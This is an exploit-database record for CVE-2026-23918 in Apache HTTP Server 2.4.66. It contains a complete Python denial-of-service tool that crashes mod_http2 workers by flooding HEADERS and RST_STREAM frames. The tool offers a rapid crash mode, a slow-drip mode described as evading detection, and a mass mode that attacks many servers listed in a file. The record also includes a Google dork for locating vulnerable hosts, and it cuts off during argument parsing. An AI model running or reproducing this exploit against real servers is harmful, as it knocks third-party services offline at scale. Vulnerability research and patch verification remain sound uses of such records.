{“lastseen”:”2026-05-29T16:15:45″,”description”:”Apache HTTP Server version 2.4.66 modhttp2 double-free denial of service proof of concept exploit…”,”published”:”2026-05-29T00:00:00″,”modified”:”2026-05-29T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Apache HTTP Server 2.4.66 Denial of Service”,”source”:””,”references”:””,”id”:”PACKETSTORM:222195″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-23918″],”sourceData”:”# Exploit Title: Apache HTTP Server 2.4.66 – ‘mod_http2’ Double-Free Denial of Service\\n # Google Dork: intext:\\”Apache\/2.4.66\\” \\”HTTP\/2\\”\\n # Date: 2026-05-06\\n # Exploit Author: xeloxa (https:\/\/github.com\/xeloxa\/) \\u003calisunbul@proton.me\\u003e\\n # Vendor Homepage: https:\/\/httpd.apache.org\/\\n # Software Link: https:\/\/archive.apache.org\/dist\/httpd\/httpd-2.4.66.tar.gz\\n # Version: 2.4.66\\n # Tested on: Debian \/ Ubuntu\\n # CVE : CVE-2026-23918\\n \\n \\”\\”\\”\\n CVE-2026-23918 – Apache mod_http2 Double-Free PoC\\n \\n Quick summary: This bug (CWE-415) hits Apache 2.4.66. It’s a race condition\\n in the stream cleanup path. If you spam HEADERS and RST_STREAM fast enough,\\n you can trigger a double-free and crash the worker.\\n \\n Author: xeloxa (https:\/\/github.com\/xeloxa\/) \\u003calisunbul@proton.me\\u003e\\n Found by: Bartlomiej Dmitruk \\u0026 Stanislaw Strzalkowski\\n \\”\\”\\”\\n \\n import argparse\\n import json\\n import os\\n import signal\\n import socket\\n import ssl\\n import sys\\n import threading\\n import time\\n from collections import defaultdict\\n from dataclasses import dataclass, field\\n from datetime import datetime\\n from typing import Dict, List, Optional, Tuple\\n \\n # —————————————————————————\\n # Dependency Check\\n # —————————————————————————\\n try:\\n import h2.config\\n import h2.connection\\n import h2.events\\n \\n HAS_H2 = True\\n except ImportError:\\n HAS_H2 = False\\n \\n \\n # —————————————————————————\\n # ANSI Colors (for terminal output)\\n # —————————————————————————\\n class Color:\\n RED = \\”\\\\033[91m\\”\\n GREEN = \\”\\\\033[92m\\”\\n YELLOW = \\”\\\\033[93m\\”\\n BLUE = \\”\\\\033[94m\\”\\n MAGENTA = \\”\\\\033[95m\\”\\n CYAN = \\”\\\\033[96m\\”\\n BOLD = \\”\\\\033[1m\\”\\n RESET = \\”\\\\033[0m\\”\\n \\n \\n def c(text: str, color: str) -\\u003e str:\\n \\”\\”\\”Wrap text in color if output is a terminal.\\”\\”\\”\\n if sys.stdout.isatty():\\n return f\\”{color}{text}{Color.RESET}\\”\\n return text\\n \\n \\n def print_banner(title: str, color: str = Color.BOLD) -\\u003e None:\\n \\”\\”\\”Print a consistent tool banner with author info.\\”\\”\\”\\n print(f\\”{‘=’ * 60}\\”)\\n print(c(title, color))\\n print(f\\”Author: xeloxa (https:\/\/github.com\/xeloxa\/)\\”)\\n print(f\\”{‘=’ * 60}\\”)\\n \\n \\n # —————————————————————————\\n # Data Structures\\n # —————————————————————————\\n @dataclass\\n class ExploitStats:\\n \\”\\”\\”Just a thread-safe counter for the stats.\\”\\”\\”\\n \\n connections: int = 0\\n requests: int = 0\\n resets: int = 0\\n conn_errors: int = 0\\n stream_errors: int = 0\\n crashes: int = 0\\n lock: threading.Lock = field(default_factory=threading.Lock)\\n \\n def inc(self, attr: str, delta: int = 1) -\\u003e None:\\n with self.lock:\\n setattr(self, attr, getattr(self, attr) + delta)\\n \\n def snapshot(self) -\\u003e Dict[str, int]:\\n with self.lock:\\n return {\\n \\”connections\\”: self.connections,\\n \\”requests\\”: self.requests,\\n \\”resets\\”: self.resets,\\n \\”conn_errors\\”: self.conn_errors,\\n \\”stream_errors\\”: self.stream_errors,\\n \\”crashes\\”: self.crashes,\\n }\\n \\n \\n # —————————————————————————\\n # SSL \/ HTTP\/2 Connection Helpers\\n # —————————————————————————\\n def create_ssl_context(\\n alpn_protocols: Optional[List[str]] = None,\\n ) -\\u003e ssl.SSLContext:\\n \\”\\”\\”Create an SSL context configured for HTTP\/2 ALPN negotiation.\\”\\”\\”\\n ctx = ssl.create_default_context()\\n ctx.check_hostname = False\\n ctx.verify_mode = ssl.CERT_NONE\\n if alpn_protocols is None:\\n alpn_protocols = [\\”h2\\”]\\n ctx.set_alpn_protocols(alpn_protocols)\\n return ctx\\n \\n \\n def establish_h2_connection(\\n host: str,\\n port: int,\\n timeout: float = 5.0,\\n use_ssl: bool = True,\\n ) -\\u003e Tuple[Optional[socket.socket], Optional[h2.connection.H2Connection]]:\\n \\”\\”\\”\\n Sets up an H2 connection. \\n Returns (socket, h2_connection) or (None, None) if something breaks.\\n \\”\\”\\”\\n try:\\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n sock.settimeout(timeout)\\n sock.connect((host, port))\\n \\n if use_ssl:\\n ctx = create_ssl_context()\\n sock = ctx.wrap_socket(sock, server_hostname=host)\\n \\n config = h2.config.H2Configuration(client_side=True)\\n conn = h2.connection.H2Connection(config=config)\\n conn.initiate_connection()\\n sock.sendall(conn.data_to_send())\\n \\n # Receive server preface (SETTINGS frame)\\n data = sock.recv(8192)\\n if not data:\\n sock.close()\\n return None, None\\n conn.receive_data(data)\\n sock.sendall(conn.data_to_send())\\n \\n return sock, conn\\n except Exception:\\n try:\\n sock.close()\\n except Exception:\\n pass\\n return None, None\\n \\n \\n # —————————————————————————\\n # Mode 1: DoS – Rapid RST Attack\\n # —————————————————————————\\n class RapidRSTDoS:\\n \\”\\”\\”\\n The \\”classic\\” Rapid-RST DoS.\\n \\n We send a HEADERS frame and immediately follow up with an RST_STREAM. \\n If the server hasn’t registered the stream yet, it’ll trigger two \\n different cleanup callbacks. Both try to free the same memory. \\n Boom – SIGSEGV.\\n \\”\\”\\”\\n \\n def __init__(\\n self,\\n target: str,\\n port: int,\\n workers: int = 100,\\n intensity: int = 7,\\n use_ssl: bool = True,\\n timeout: float = 5.0,\\n verbose: bool = False,\\n json_output: bool = False,\\n ):\\n self.target = target\\n self.port = port\\n self.num_workers = workers\\n self.intensity = max(1, min(10, intensity))\\n self.use_ssl = use_ssl\\n self.timeout = timeout\\n self.verbose = verbose\\n self.json_output = json_output\\n \\n self.running = True\\n self.crashed = False\\n self.stats = ExploitStats()\\n self.start_time: Optional[float] = None\\n \\n def is_server_alive(self) -\\u003e bool:\\n \\”\\”\\”Check if the target server is responsive via HTTP\/2.\\”\\”\\”\\n sock, conn = establish_h2_connection(\\n self.target, self.port, timeout=3.0, use_ssl=self.use_ssl\\n )\\n if sock is None:\\n return False\\n try:\\n sock.close()\\n except Exception:\\n pass\\n return True\\n \\n def worker(self, worker_id: int) -\\u003e None:\\n \\”\\”\\”\\n Worker thread that continuously opens HTTP\/2 connections and sends\\n HEADERS+RST_STREAM frame sequences to trigger the double-free.\\n \\”\\”\\”\\n streams_per_conn = 50\\n reset_interval = max(1, 11 – self.intensity) # Lower = more resets\\n \\n while self.running:\\n sock, conn = establish_h2_connection(\\n self.target,\\n self.port,\\n timeout=self.timeout,\\n use_ssl=self.use_ssl,\\n )\\n if sock is None:\\n self.stats.inc(\\”conn_errors\\”)\\n time.sleep(0.1)\\n continue\\n \\n self.stats.inc(\\”connections\\”)\\n \\n try:\\n sent = 0\\n while sent \\u003c streams_per_conn and self.running:\\n try:\\n stream_id = conn.get_next_available_stream_id()\\n conn.send_headers(\\n stream_id,\\n [\\n (b\\”:method\\”, b\\”GET\\”),\\n (b\\”:scheme\\”, b\\”https\\” if self.use_ssl else b\\”http\\”),\\n (b\\”:authority\\”, self.target.encode()),\\n (b\\”:path\\”, b\\”\/\\”),\\n ],\\n )\\n sock.sendall(conn.data_to_send())\\n self.stats.inc(\\”requests\\”)\\n \\n # Send RST_STREAM on configured interval\\n if sent % reset_interval == 0:\\n conn.reset_stream(stream_id, error_code=1)\\n sock.sendall(conn.data_to_send())\\n self.stats.inc(\\”resets\\”)\\n \\n sent += 1\\n # Small delay to avoid overwhelming local resources\\n time.sleep(0.001 * (11 – self.intensity))\\n \\n except Exception:\\n self.stats.inc(\\”stream_errors\\”)\\n break\\n \\n # Gracefully close the connection\\n conn.close_connection()\\n try:\\n sock.sendall(conn.data_to_send())\\n except Exception:\\n pass\\n \\n except Exception:\\n pass\\n finally:\\n try:\\n sock.close()\\n except Exception:\\n pass\\n \\n def monitor(self) -\\u003e None:\\n \\”\\”\\”Monitor thread that checks server aliveness and prints stats.\\”\\”\\”\\n checks_since_alive = 0\\n last_report = 0\\n \\n while self.running:\\n time.sleep(0.5)\\n alive = self.is_server_alive()\\n \\n if alive:\\n checks_since_alive = 0\\n elapsed = int(time.time() – self.start_time)\\n if elapsed – last_report \\u003e= 10:\\n last_report = elapsed\\n snap = self.stats.snapshot()\\n if self.json_output:\\n print(\\n json.dumps(\\n {\\n \\”timestamp\\”: datetime.now().isoformat(),\\n \\”elapsed_s\\”: elapsed,\\n \\”status\\”: \\”alive\\”,\\n **snap,\\n }\\n )\\n )\\n else:\\n print(\\n f\\” {c(f'[t={elapsed}s]’, Color.CYAN)} \\”\\n f\\”conns={snap[‘connections’]} \\”\\n f\\”reqs={snap[‘requests’]} \\”\\n f\\”resets={snap[‘resets’]} \\”\\n f\\”{c(‘OK’, Color.GREEN)}\\”\\n )\\n else:\\n checks_since_alive += 1\\n if checks_since_alive \\u003e= 2 and not self.crashed:\\n self.crashed = True\\n self.stats.inc(\\”crashes\\”)\\n elapsed = int(time.time() – self.start_time)\\n if self.json_output:\\n print(\\n json.dumps(\\n {\\n \\”timestamp\\”: datetime.now().isoformat(),\\n \\”elapsed_s\\”: elapsed,\\n \\”status\\”: \\”CRASHED\\”,\\n **self.stats.snapshot(),\\n }\\n )\\n )\\n else:\\n print(f\\”\\\\n{‘=’ * 60}\\”)\\n print(\\n c(\\n f\\”!!! SERVER CRASHED at t={elapsed}s !!!\\”,\\n Color.RED + Color.BOLD,\\n )\\n )\\n print(\\n f\\”Stats: {json.dumps(self.stats.snapshot(), indent=2)}\\”\\n )\\n print(f\\”{‘=’ * 60}\\”)\\n self.running = False\\n return\\n \\n def run(self) -\\u003e None:\\n \\”\\”\\”Execute the DoS exploit.\\”\\”\\”\\n if not self.json_output:\\n print_banner(\\”CVE-2026-23918 – Apache Double-Free DoS\\”, Color.BOLD + Color.RED)\\n print(f\\”Target: {self.target}:{self.port}\\”)\\n print(f\\”Mode : Rapid-RST\\”)\\n print(f\\”Stats : {self.num_workers} workers | Intensity {self.intensity}\\”)\\n print(f\\”SSL : {‘On’ if self.use_ssl else ‘Off’}\\”)\\n print(f\\”{‘=’ * 60}\\”)\\n \\n if not HAS_H2:\\n print(c(\\”[!] h2 library missing. Install: pip3 install h2\\”, Color.RED))\\n sys.exit(1)\\n \\n # Pre-flight server check\\n if not self.json_output:\\n print(c(\\”[*] Checking if server is up…\\”, Color.YELLOW))\\n if not self.is_server_alive():\\n print(c(f\\”[!] Can’t reach {self.target}:{self.port}\\”, Color.RED))\\n sys.exit(1)\\n if not self.json_output:\\n print(c(\\”[+] Server’s up. Sending payloads…\\\\n\\”, Color.GREEN))\\n \\n # Launch workers\\n self.start_time = time.time()\\n workers = []\\n for i in range(self.num_workers):\\n t = threading.Thread(target=self.worker, args=(i,), daemon=True)\\n t.start()\\n workers.append(t)\\n \\n # Run monitor (blocks until crash detected or Ctrl+C)\\n self.monitor()\\n \\n # Wait for workers to finish\\n for t in workers:\\n t.join(timeout=2)\\n \\n # Final report\\n snap = self.stats.snapshot()\\n if self.json_output:\\n print(\\n json.dumps(\\n {\\n \\”timestamp\\”: datetime.now().isoformat(),\\n \\”final\\”: True,\\n \\”crashed\\”: self.crashed,\\n **snap,\\n }\\n )\\n )\\n else:\\n print(f\\”\\\\n{‘=’ * 60}\\”)\\n print(c(\\”ATTACK RESULTS\\”, Color.BOLD))\\n print(f\\”{‘=’ * 60}\\”)\\n print(f\\”Connections: {snap[‘connections’]}\\”)\\n print(f\\”Requests : {snap[‘requests’]}\\”)\\n print(f\\”Resets : {snap[‘resets’]}\\”)\\n print(f\\”Errors : {snap[‘conn_errors’]} (conn) \/ {snap[‘stream_errors’]} (stream)\\”)\\n if self.crashed:\\n print(c(\\”\\\\n[!] CRASH DETECTED – Double-free confirmed.\\”, Color.RED + Color.BOLD))\\n else:\\n print(c(\\”\\\\n[-] Server’s still alive.\\”, Color.YELLOW))\\n print(f\\”{‘=’ * 60}\\”)\\n \\n \\n # —————————————————————————\\n # Mode 2: Slow-Drip DoS (Stealth)\\n # —————————————————————————\\n class SlowDripDoS:\\n \\”\\”\\”\\n Low-bandwidth, sustained denial of service.\\n \\n Uses fewer connections and longer intervals between RST_STREAM frames\\n to evade detection while maintaining pressure on the target.\\n \\”\\”\\”\\n \\n def __init__(\\n self,\\n target: str,\\n port: int,\\n workers: int = 5,\\n intensity: int = 3,\\n duration_minutes: int = 30,\\n use_ssl: bool = True,\\n timeout: float = 5.0,\\n json_output: bool = False,\\n ):\\n self.target = target\\n self.port = port\\n self.num_workers = max(1, workers)\\n self.intensity = max(1, min(5, intensity))\\n self.duration_seconds = duration_minutes * 60\\n self.use_ssl = use_ssl\\n self.timeout = timeout\\n self.json_output = json_output\\n \\n self.running = True\\n self.stats = ExploitStats()\\n self.start_time: Optional[float] = None\\n \\n def worker(self, worker_id: int) -\\u003e None:\\n \\”\\”\\”Slow-drip worker – lower frequency, sustained attack.\\”\\”\\”\\n while self.running and (\\n time.time() – self.start_time \\u003c self.duration_seconds\\n ):\\n sock, conn = establish_h2_connection(\\n self.target, self.port, timeout=self.timeout, use_ssl=self.use_ssl\\n )\\n if sock is None:\\n self.stats.inc(\\”conn_errors\\”)\\n time.sleep(0.5)\\n continue\\n \\n self.stats.inc(\\”connections\\”)\\n try:\\n stream_id = conn.get_next_available_stream_id()\\n conn.send_headers(\\n stream_id,\\n [\\n (b\\”:method\\”, b\\”GET\\”),\\n (b\\”:scheme\\”, b\\”https\\” if self.use_ssl else b\\”http\\”),\\n (b\\”:authority\\”, self.target.encode()),\\n (b\\”:path\\”, b\\”\/\\”),\\n ],\\n )\\n sock.sendall(conn.data_to_send())\\n self.stats.inc(\\”requests\\”)\\n \\n # Small delay before reset – simulates slow client\\n time.sleep(0.01)\\n conn.reset_stream(stream_id, error_code=1)\\n sock.sendall(conn.data_to_send())\\n self.stats.inc(\\”resets\\”)\\n \\n conn.close_connection()\\n sock.sendall(conn.data_to_send())\\n except Exception:\\n self.stats.inc(\\”stream_errors\\”)\\n finally:\\n try:\\n sock.close()\\n except Exception:\\n pass\\n \\n # Longer sleep for stealth\\n delay = max(1.0, (6 – self.intensity) * 2.0)\\n time.sleep(delay)\\n \\n def run(self) -\\u003e None:\\n \\”\\”\\”Execute the slow-drip DoS.\\”\\”\\”\\n if not self.json_output:\\n print_banner(\\”CVE-2026-23918 – Slow-Drip (Stealth)\\”, Color.BOLD + Color.YELLOW)\\n print(f\\”Target: {self.target}:{self.port}\\”)\\n print(f\\”Time : {self.duration_seconds \/\/ 60} min\\”)\\n print(f\\”Workers: {self.num_workers} | Intensity: {self.intensity}\\”)\\n print(f\\”{‘=’ * 60}\\”)\\n \\n if not HAS_H2:\\n print(c(\\”[!] h2 library missing. Install: pip3 install h2\\”, Color.RED))\\n sys.exit(1)\\n \\n self.start_time = time.time()\\n workers = []\\n for i in range(self.num_workers):\\n t = threading.Thread(target=self.worker, args=(i,), daemon=True)\\n t.start()\\n workers.append(t)\\n \\n # Wait for duration or Ctrl+C\\n try:\\n while self.running and (\\n time.time() – self.start_time \\u003c self.duration_seconds\\n ):\\n time.sleep(5)\\n elapsed = int(time.time() – self.start_time)\\n snap = self.stats.snapshot()\\n if self.json_output:\\n print(\\n json.dumps(\\n {\\n \\”timestamp\\”: datetime.now().isoformat(),\\n \\”elapsed_s\\”: elapsed,\\n **snap,\\n }\\n )\\n )\\n else:\\n remaining = self.duration_seconds – elapsed\\n print(\\n f\\” {c(f'[{elapsed}s\/{remaining}s remaining]’, Color.CYAN)} \\”\\n f\\”conns={snap[‘connections’]} \\”\\n f\\”resets={snap[‘resets’]}\\”\\n )\\n except KeyboardInterrupt:\\n pass\\n \\n self.running = False\\n for t in workers:\\n t.join(timeout=2)\\n \\n if not self.json_output:\\n print(c(\\”\\\\n[*] Slow-drip attack complete.\\”, Color.GREEN))\\n \\n \\n # —————————————————————————\\n # Mode 3: Mass DoS\\n # —————————————————————————\\n class MassDoS:\\n \\”\\”\\”Multi-target sustained denial of service.\\”\\”\\”\\n \\n def __init__(\\n self,\\n targets_file: str,\\n workers_per_target: int = 50,\\n intensity: int = 7,\\n duration_minutes: int = 30,\\n use_ssl: bool = True,\\n timeout: float = 5.0,\\n json_output: bool = False,\\n ):\\n self.targets = self._load_targets(targets_file)\\n self.workers_per_target = workers_per_target\\n self.intensity = max(1, min(10, intensity))\\n self.duration_seconds = duration_minutes * 60\\n self.use_ssl = use_ssl\\n self.timeout = timeout\\n self.json_output = json_output\\n \\n self.running = True\\n self.start_time: Optional[float] = None\\n self.target_results: Dict[Tuple[str, int], Dict] = defaultdict(\\n lambda: {\\n \\”status\\”: \\”unknown\\”,\\n \\”connections\\”: 0,\\n \\”conn_errors\\”: 0,\\n \\”requests\\”: 0,\\n \\”resets\\”: 0,\\n \\”crashes\\”: 0,\\n }\\n )\\n self.results_lock = threading.Lock()\\n \\n @staticmethod\\n def _load_targets(path: str) -\\u003e List[Tuple[str, int]]:\\n \\”\\”\\”Load targets from file (format: host:port or host).\\”\\”\\”\\n targets = []\\n with open(path) as f:\\n for line in f:\\n line = line.strip()\\n if not line or line.startswith(\\”#\\”):\\n continue\\n if \\”:\\” in line:\\n host, port = line.rsplit(\\”:\\”, 1)\\n targets.append((host.strip(), int(port.strip())))\\n else:\\n targets.append((line.strip(), 443))\\n return targets\\n \\n def is_alive(self, host: str, port: int) -\\u003e bool:\\n \\”\\”\\”Quick aliveness check.\\”\\”\\”\\n sock, conn = establish_h2_connection(\\n host, port, timeout=3.0, use_ssl=self.use_ssl\\n )\\n if sock is None:\\n return False\\n try:\\n sock.close()\\n except Exception:\\n pass\\n return True\\n \\n def worker(self, host: str, port: int) -\\u003e None:\\n \\”\\”\\”Attack worker for a specific target.\\”\\”\\”\\n results = self.target_results[(host, port)]\\n reset_interval = max(1, 11 – self.intensity)\\n sent = 0\\n \\n while self.running and (\\n time.time() – self.start_time \\u003c self.duration_seconds\\n ):\\n sock, conn = establish_h2_connection(\\n host, port, timeout=self.timeout, use_ssl=self.use_ssl\\n )\\n if sock is None:\\n with self.results_lock:\\n results[\\”conn_errors\\”] += 1\\n time.sleep(0.5)\\n continue\\n \\n with self.results_lock:\\n results[\\”connections\\”] += 1\\n \\n try:\\n while self.running and (\\n time.time() – self.start_time \\u003c self.duration_seconds\\n ):\\n try:\\n sid = conn.get_next_available_stream_id()\\n conn.send_headers(\\n sid,\\n [\\n (b\\”:method\\”, b\\”GET\\”),\\n (\\n b\\”:scheme\\”,\\n b\\”https\\” if self.use_ssl else b\\”http\\”,\\n ),\\n (b\\”:authority\\”, host.encode()),\\n (b\\”:path\\”, b\\”\/\\”),\\n ],\\n )\\n sock.sendall(conn.data_to_send())\\n with self.results_lock:\\n results[\\”requests\\”] += 1\\n sent += 1\\n \\n if sent % reset_interval == 0:\\n conn.reset_stream(sid, error_code=1)\\n sock.sendall(conn.data_to_send())\\n with self.results_lock:\\n results[\\”resets\\”] += 1\\n except Exception:\\n break\\n \\n conn.close_connection()\\n try:\\n sock.sendall(conn.data_to_send())\\n except Exception:\\n pass\\n except Exception:\\n pass\\n finally:\\n try:\\n sock.close()\\n except Exception:\\n pass\\n \\n def monitor_target(self, host: str, port: int) -\\u003e None:\\n \\”\\”\\”Monitor aliveness for a specific target.\\”\\”\\”\\n results = self.target_results[(host, port)]\\n while self.running and (\\n time.time() – self.start_time \\u003c self.duration_seconds\\n ):\\n alive = self.is_alive(host, port)\\n with self.results_lock:\\n if not alive:\\n if results[\\”status\\”] != \\”down\\”:\\n results[\\”status\\”] = \\”down\\”\\n results[\\”crashes\\”] += 1\\n elapsed = int(time.time() – self.start_time)\\n if not self.json_output:\\n print(\\n c(\\n f\\” [t={elapsed}s] {host}:{port} – SERVER DOWN\\”,\\n Color.RED,\\n )\\n )\\n else:\\n results[\\”status\\”] = \\”up\\”\\n time.sleep(5)\\n \\n def print_dashboard(self) -\\u003e None:\\n \\”\\”\\”Print live status dashboard.\\”\\”\\”\\n print(\\”\\\\033[2J\\\\033[H\\”, end=\\”\\”) # ANSI escape sequence to clear screen\\n elapsed = int(time.time() – self.start_time)\\n remaining = max(0, self.duration_seconds – elapsed)\\n print(f\\”{‘=’ * 70}\\”)\\n print(f\\” CVE-2026-23918 Mass DoS | {elapsed}s elapsed | {remaining}s remaining\\”)\\n print(f\\”{‘=’ * 70}\\”)\\n print(\\n f\\”{‘Target’:\\u003c35} {‘Status’:\\u003c10} {‘Conns’:\\u003c8} {‘Err’:\\u003c5} {‘Reqs’:\\u003c8} {‘Resets’:\\u003c8} {‘Crashes’:\\u003c8}\\”\\n )\\n print(\\”-\\” * 80)\\n for host, port in self.targets:\\n r = self.target_results[(host, port)]\\n print(\\n f\\”{host+’:’+str(port):\\u003c35} \\”\\n f\\”{r[‘status’]:\\u003c10} {r[‘connections’]:\\u003c8} {r[‘conn_errors’]:\\u003c5} \\”\\n f\\”{r[‘requests’]:\\u003c8} {r[‘resets’]:\\u003c8} {r[‘crashes’]:\\u003c8}\\”\\n )\\n print(f\\”{‘=’ * 70}\\”)\\n \\n def run(self) -\\u003e None:\\n \\”\\”\\”Execute mass DoS attack.\\”\\”\\”\\n if not self.json_output:\\n print_banner(\\”CVE-2026-23918 – Mass Scan\/Attack\\”, Color.BOLD + Color.RED)\\n print(f\\”Targets: {len(self.targets)} | Time: {self.duration_seconds \/\/ 60} min\\”)\\n print(f\\”Workers: {self.workers_per_target} per target | Intensity: {self.intensity}\\”)\\n print(f\\”{‘=’ * 60}\\\\n\\”)\\n \\n if not HAS_H2:\\n print(c(\\”[!] h2 library missing: pip3 install h2\\”, Color.RED))\\n sys.exit(1)\\n \\n self.start_time = time.time()\\n \\n # Launch workers for each target\\n all_workers = []\\n for host, port in self.targets:\\n for _ in range(self.workers_per_target):\\n t = threading.Thread(\\n target=self.worker, args=(host, port), daemon=True\\n )\\n t.start()\\n all_workers.append(t)\\n \\n # Launch a monitor for each target\\n mt = threading.Thread(\\n target=self.monitor_target, args=(host, port), daemon=True\\n )\\n mt.start()\\n all_workers.append(mt)\\n \\n # Dashboard loop\\n try:\\n while self.running and (\\n time.time() – self.start_time \\u003c self.duration_seconds\\n ):\\n if not self.json_output:\\n self.print_dashboard()\\n time.sleep(10)\\n except KeyboardInterrupt:\\n pass\\n \\n self.running = False\\n for t in all_workers:\\n t.join(timeout=2)\\n \\n if not self.json_output:\\n self.print_dashboard()\\n print(c(\\”\\\\n[*] Mass DoS complete.\\”, Color.GREEN))\\n \\n \\n # —————————————————————————\\n # Mode 4: RCE Detection (Passive)\\n # —————————————————————————\\n def rce_detect(\\n target: str, port: int, timeout: float = 5.0, json_output: bool = False\\n ) -\\u003e Dict:\\n \\”\\”\\”\\n Passive check. We just look at headers and version info to see \\n if the target might be vulnerable. No exploit payloads sent.\\n \\”\\”\\”\\n if not HAS_H2:\\n if json_output:\\n print(\\n json.dumps(\\n {\\”error\\”: \\”h2 library not installed. Run: pip3 install h2\\”}\\n )\\n )\\n else:\\n print(c(\\”[!] h2 library missing. Install: pip3 install h2\\”, Color.RED))\\n return {\\”error\\”: \\”h2 library not installed\\”}\\n \\n result = {\\n \\”target\\”: f\\”{target}:{port}\\”,\\n \\”timestamp\\”: datetime.now().isoformat(),\\n \\”reachable\\”: False,\\n \\”http2_supported\\”: False,\\n \\”server_header\\”: None,\\n \\”apache_version\\”: None,\\n \\”likely_vulnerable\\”: False,\\n \\”cve_applicable\\”: False,\\n \\”notes\\”: [],\\n }\\n \\n # Try HTTP\/2 connection\\n sock, conn = establish_h2_connection(target, port, timeout=timeout, use_ssl=True)\\n if sock is None:\\n result[\\”notes\\”].append(\\”Target not reachable or HTTP\/2 not supported\\”)\\n return result\\n \\n result[\\”reachable\\”] = True\\n result[\\”http2_supported\\”] = True\\n \\n # Send a GET request and observe response\\n try:\\n stream_id = conn.get_next_available_stream_id()\\n conn.send_headers(\\n stream_id,\\n [\\n (b\\”:method\\”, b\\”GET\\”),\\n (b\\”:scheme\\”, b\\”https\\”),\\n (b\\”:authority\\”, target.encode()),\\n (b\\”:path\\”, b\\”\/\\”),\\n ],\\n )\\n conn.end_stream(stream_id)\\n sock.sendall(conn.data_to_send())\\n \\n # Receive response\\n data = sock.recv(8192)\\n if data:\\n events = conn.receive_data(data)\\n for event in events:\\n if isinstance(event, h2.events.ResponseReceived):\\n for name, value in event.headers:\\n header_name = name.decode(\\”utf-8\\”, errors=\\”replace\\”).lower()\\n header_value = value.decode(\\”utf-8\\”, errors=\\”replace\\”)\\n if header_name == \\”server\\”:\\n result[\\”server_header\\”] = header_value\\n # Try to extract Apache version\\n if \\”apache\\” in header_value.lower():\\n parts = header_value.split(\\”\/\\”)\\n if len(parts) \\u003e 1:\\n result[\\”apache_version\\”] = (\\n parts[-1].strip().split()[0]\\n )\\n except Exception as e:\\n result[\\”notes\\”].append(f\\”Error during detection: {e}\\”)\\n \\n try:\\n sock.close()\\n except Exception:\\n pass\\n \\n # Analyze vulnerability status\\n if result[\\”apache_version\\”]:\\n # Apache 2.4.66 is the affected version per CVE record\\n if result[\\”apache_version\\”] == \\”2.4.66\\”:\\n result[\\”likely_vulnerable\\”] = True\\n result[\\”cve_applicable\\”] = True\\n result[\\”notes\\”].append(\\”Apache 2.4.66 detected – VULNERABLE to CVE-2026-23918\\”)\\n else:\\n try:\\n # Parse version for comparison\\n version_parts = result[\\”apache_version\\”].split(\\”.\\”)\\n if len(version_parts) \\u003e= 3:\\n major, minor, patch = (\\n int(version_parts[0]),\\n int(version_parts[1]),\\n int(version_parts[2]),\\n )\\n if (major, minor, patch) \\u003e= (2, 4, 67):\\n result[\\”notes\\”].append(\\n f\\”Apache {result[‘apache_version’]} – PATCHED (\\u003e= 2.4.67)\\”\\n )\\n elif (major, minor, patch) \\u003c (2, 4, 66):\\n result[\\”notes\\”].append(\\n f\\”Apache {result[‘apache_version’]} – outside confirmed CVE range (\\u003c 2.4.66)\\”\\n )\\n else:\\n result[\\”cve_applicable\\”] = True\\n result[\\”likely_vulnerable\\”] = True\\n except (ValueError, IndexError):\\n result[\\”notes\\”].append(\\”Could not parse version string\\”)\\n elif result[\\”http2_supported\\”]:\\n result[\\”notes\\”].append(\\n \\”HTTP\/2 supported but version unknown – manual verification needed\\”\\n )\\n result[\\”cve_applicable\\”] = True # Potentially vulnerable\\n \\n if json_output:\\n print(json.dumps(result, indent=2))\\n else:\\n print_banner(\\”Vulnerability Scan Report\\”, Color.BOLD)\\n print(f\\”Target : {result[‘target’]}\\”)\\n print(f\\”H2 : {‘Supported’ if result[‘http2_supported’] else ‘Not found’}\\”)\\n print(f\\”Server : {result[‘server_header’] or ‘Unknown’}\\”)\\n print(f\\”Apache : {result[‘apache_version’] or ‘Unknown’}\\”)\\n \\n status = c(\\”LIKELY VULNERABLE\\”, Color.RED + Color.BOLD) if result[‘likely_vulnerable’] else c(\\”Likely safe\\”, Color.GREEN)\\n print(f\\”Status : {status}\\”)\\n \\n if result[\\”notes\\”]:\\n print(f\\”Notes :\\”)\\n for note in result[\\”notes\\”]:\\n print(f\\” – {note}\\”)\\n print(f\\”{‘=’ * 60}\\”)\\n \\n return result\\n \\n \\n # —————————————————————————\\n # Signal Handling\\n # —————————————————————————\\n def signal_handler(sig: int, frame) -\\u003e None:\\n \\”\\”\\”Handle interrupt signals for a clean exit.\\”\\”\\”\\n print(c(\\”\\\\n[!] Received interrupt – shutting down…\\”, Color.YELLOW))\\n sys.exit(0)\\n \\n \\n # —————————————————————————\\n # Main Entry Point\\n # —————————————————————————\\n def main() -\\u003e None:\\n parser = argparse.ArgumentParser(\\n description=\\”CVE-2026-23918 – Apache HTTP\/2 Double-Free Exploit\\”,\\n formatter_class=argparse.RawDescriptionHelpFormatter,\\n epilog=\\”\\”\\”\\n Examples:\\n %(prog)s –target 192.168.1.100 –port 8443 –mode dos\\n %(prog)s –target example.com –mode rce-detect\\n %(prog)s –targets targets.txt –mode mass –duration 30\\n %(prog)s –target 10.0.0.50 –mode slow-drip -w 5 -i 3 -d 60\\n \\”\\”\\”,\\n )\\n \\n parser.add_argument(\\n \\”–target\\”, \\”-t\\”, help=\\”Target IP or hostname\\”\\n )\\n parser.add_argument(\\n \\”–port\\”, \\”-p\\”, type=int, default=443, help=\\”Target port (default: 443)\\”\\n )\\n parser.add_argument(\\n \\”–mode\\”,\\n \\”-m\\”,\\n choices=[\\”dos\\”, \\”slow-drip\\”, \\”mass\\”, \\”rce-detect\\”],\\n default=\\”dos\\”,\\n help=\\”Exploit mode (default: dos)\\”,\\n )\\n parser.add_argument(\\n \\”–targets\\”,\\n \\”-T\\”,\\n help=\\”File with target list for mass mode (format: host:port per line)\\”,\\n )\\n parser.add_argument(\\n \\”–workers\\”,\\n \\”-w\\”,\\n type=int,\\n default=100,\\n help=\\”Number of concurrent worker threads (default: 100)\\”,\\n )\\n parser.add_argument(\\n \\”–intensity\\”,\\n \\”-i\\”,\\n type=int,\\n default=7,\\n help=\\”Attack intensity 1-10 (default: 7)\\”,\\n )\\n parser.add_argument(\\n \\”–duration\\”,\\n \\”-d\\”,\\n type=int,\\n default=30,\\n help=\\”Attack duration in minutes for slow-drip\/mass modes (default: 30)\\”,\\n )\\n parser.add_argument(\\n \\”–timeout\\”,\\n type=float,\\n 